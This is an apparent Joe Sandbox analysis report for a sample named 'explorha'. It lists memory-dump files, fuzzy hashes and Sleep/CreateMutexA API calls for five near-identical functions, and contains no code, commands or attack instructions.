Associated: 00000003.00000002.2152125808.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152151116.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152180833.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152294324.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152324625.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152355017.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152382475.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152409880.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152436972.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152462990.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 9d27d17a3de83d766ad34ad8e2a177fb71e34382df27cdd03e4b32d6b144397e
Instruction ID: 54a34b62f01f37d1b727f4eb5734d6e91f2a5eb1ffc778ff3a76cd2ad2a587bb
Opcode Fuzzy Hash: 9d27d17a3de83d766ad34ad8e2a177fb71e34382df27cdd03e4b32d6b144397e
Instruction Fuzzy Hash: 5A3124B1714204DBFB08DB6CCC987ADB6A2EB82314F208318E914977D2EB7D99808751

Uniqueness

Uniqueness Score: -1.00%

Function 00709B49 Relevance: 3.1, APIs: 2, Instructions: 127
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0070A435
CreateMutexA.KERNELBASE(00000000,00000000,007651D8), ref: 0070A453

Memory Dump Source

Source File: 00000003.00000002.2151058621.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.2151023835.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151058621.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151144580.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151175401.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151203725.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151234734.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151261377.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151380748.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151409148.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151441167.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151473024.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151566498.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151599544.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151627064.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151654854.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151686222.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151710781.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151736052.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151766410.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151802690.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151830791.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151857043.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151884415.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151914320.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151940989.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151964516.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151990040.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152020128.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152046032.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152071170.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152099497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152125808.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152151116.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152180833.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152294324.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152324625.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152355017.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152382475.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152409880.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152436972.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152462990.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 170710e0a0bb7db5f85b7fe38d3142c6a9cef6bd5a674cbafb0200890575598d
Instruction ID: c678721ae1464e3063d3df7c184678ce5adefc8afe15342da7c0ba9c4f616877
Opcode Fuzzy Hash: 170710e0a0bb7db5f85b7fe38d3142c6a9cef6bd5a674cbafb0200890575598d
Instruction Fuzzy Hash: 623148B1704244DBFB08DB7CDC9879DB7E29B85324F208318E514977D2DB7D59808761

Uniqueness

Uniqueness Score: -1.00%

Function 00709C7E Relevance: 3.1, APIs: 2, Instructions: 126
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0070A435
CreateMutexA.KERNELBASE(00000000,00000000,007651D8), ref: 0070A453

Memory Dump Source

Source File: 00000003.00000002.2151058621.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.2151023835.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151058621.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151144580.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151175401.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151203725.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151234734.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151261377.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151380748.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151409148.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151441167.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151473024.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151566498.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151599544.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151627064.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151654854.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151686222.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151710781.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151736052.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151766410.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151802690.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151830791.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151857043.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151884415.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151914320.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151940989.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151964516.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151990040.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152020128.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152046032.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152071170.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152099497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152125808.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152151116.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152180833.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152294324.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152324625.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152355017.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152382475.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152409880.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152436972.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152462990.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 0d2d176bad3508827fd24f57126c4613113eae6bd2e67ac431babc8b9feec682
Instruction ID: 0b1aa3b3f3b33336601c2aa1445994b2ef367441b03d19a4335a42a8b922d201
Opcode Fuzzy Hash: 0d2d176bad3508827fd24f57126c4613113eae6bd2e67ac431babc8b9feec682
Instruction Fuzzy Hash: 3D314871700204DBFB08DB7CCC9879DBBA2EB82314F208718E514977D2E77D99808761

Uniqueness

Uniqueness Score: -1.00%

Function 00709EE8 Relevance: 3.1, APIs: 2, Instructions: 124
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0070A435
CreateMutexA.KERNELBASE(00000000,00000000,007651D8), ref: 0070A453

Memory Dump Source

Source File: 00000003.00000002.2151058621.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.2151023835.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151058621.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151144580.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151175401.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151203725.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151234734.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151261377.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151380748.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151409148.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151441167.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151473024.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151566498.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151599544.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151627064.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151654854.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151686222.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151710781.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151736052.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151766410.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151802690.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151830791.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151857043.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151884415.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151914320.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151940989.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151964516.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151990040.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152020128.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152046032.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152071170.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152099497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152125808.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152151116.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152180833.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152294324.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152324625.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152355017.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152382475.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152409880.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152436972.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152462990.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 391f28d52f26aa5169fd8d1f9d0a689d252942263a4712b707f943c82da089cc
Instruction ID: c36481b175e2dff8693820c91f4a270acdbf90f81a22f5d4a5986b5aa7e73d5f
Opcode Fuzzy Hash: 391f28d52f26aa5169fd8d1f9d0a689d252942263a4712b707f943c82da089cc
Instruction Fuzzy Hash: 3E314671600205DBFB08DB7CCD8979DB6A2AB86314F208318F511D76D6EBBDA9818762

Uniqueness

Uniqueness Score: -1.00%

Function 0070A01D Relevance: 3.1, APIs: 2, Instructions: 123
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0070A435
CreateMutexA.KERNELBASE(00000000,00000000,007651D8), ref: 0070A453

Memory Dump Source

Source File: 00000003.00000002.2151058621.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.2151023835.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151058621.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151144580.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151175401.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151203725.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151234734.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151261377.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151380748.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151409148.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151441167.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151473024.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151566498.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151599544.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151627064.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151654854.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151686222.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151710781.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151736052.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151766410.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151802690.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151830791.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151857043.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151884415.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151914320.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151940989.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151964516.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151990040.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152020128.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152046032.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152071170.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152099497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152125808.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152151116.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152180833.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152294324.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152324625.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152355017.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152382475.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152409880.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152436972.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152462990.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 59e6f19b4207f456e94c8a6438e5215f511dd8b7871ccc103142c3215879f8b8
Instruction ID: 82e8a42131c790b948aa02c76459d4e195ab98bc9963502bcae8acf852e08335
Opcode Fuzzy Hash: 59e6f19b4207f456e94c8a6438e5215f511dd8b7871ccc103142c3215879f8b8
Instruction Fuzzy Hash: 80310671700348EBFB08DB6CCD8979DB6B2AB86314F208318E415977D6EB7E59808762

Uniqueness

Uniqueness Score: -1.00%

Function 0070A152 Relevance: 3.1, APIs: 2, Instructions: 122
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0070A435
CreateMutexA.KERNELBASE(00000000,00000000,007651D8), ref: 0070A453

Memory Dump Source

Source File: 00000003.00000002.2151058621.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.2151023835.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151058621.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151144580.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151175401.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151203725.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151234734.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151261377.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151380748.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151409148.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151441167.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151473024.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151566498.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151599544.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151627064.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151654854.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151686222.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151710781.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151736052.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151766410.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151802690.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151830791.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151857043.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151884415.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151914320.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151940989.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151964516.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151990040.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152020128.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152046032.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152071170.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152099497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152125808.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152151116.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152180833.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152294324.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152324625.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152355017.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152382475.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152409880.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152436972.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152462990.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e66935452129c1e16862224d156f3e180b5ef95db09bbc94e43e6b3777bcf1ac
Instruction ID: 766b98359194033f840076424c7d9c12e5826bdb3016bce993ff5d239942645b
Opcode Fuzzy Hash: e66935452129c1e16862224d156f3e180b5ef95db09bbc94e43e6b3777bcf1ac
Instruction Fuzzy Hash: C1310571700344EBFB08DB6CCC997ADB7B2AB86314F208318E415977D6DBBD99808762

Uniqueness

Uniqueness Score: -1.00%

